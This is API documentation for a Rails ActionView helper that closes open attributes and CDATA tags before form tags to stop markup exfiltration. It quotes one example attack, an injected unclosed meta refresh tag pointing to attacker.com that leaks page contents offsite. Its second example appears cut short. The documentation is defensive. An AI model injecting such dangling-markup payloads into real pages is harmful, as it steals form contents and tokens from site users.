Module: ActionView::Helpers::ContentExfiltrationPreventionHelper

Included in:
ActionView::Helpers, FormTagHelper, UrlHelper
Defined in:
actionview/lib/action_view/helpers/content_exfiltration_prevention_helper.rb

Constant Summary collapse

CLOSE_QUOTES_COMMENT =

Close any open attributes before each form tag. This prevents attackers from injecting partial tags that could leak markup offsite.

For example, an attacker might inject:

<meta http-equiv="refresh" content='0;URL=https://attacker.com?

The HTML following this tag, up until the next single quote would be sent to https://attacker.com. By closing any open attributes, we ensure that form contents are never exfiltrated this way.

%q(<!-- '"` -->).html_safe.freeze
CLOSE_CDATA_COMMENT =

Close any open tags that support CDATA (textarea, xmp) before each form tag. This prevents attackers from injecting unclosed tags that could capture form contents.

For example, an attacker might inject:

or the end of the document would be captured by the attacker's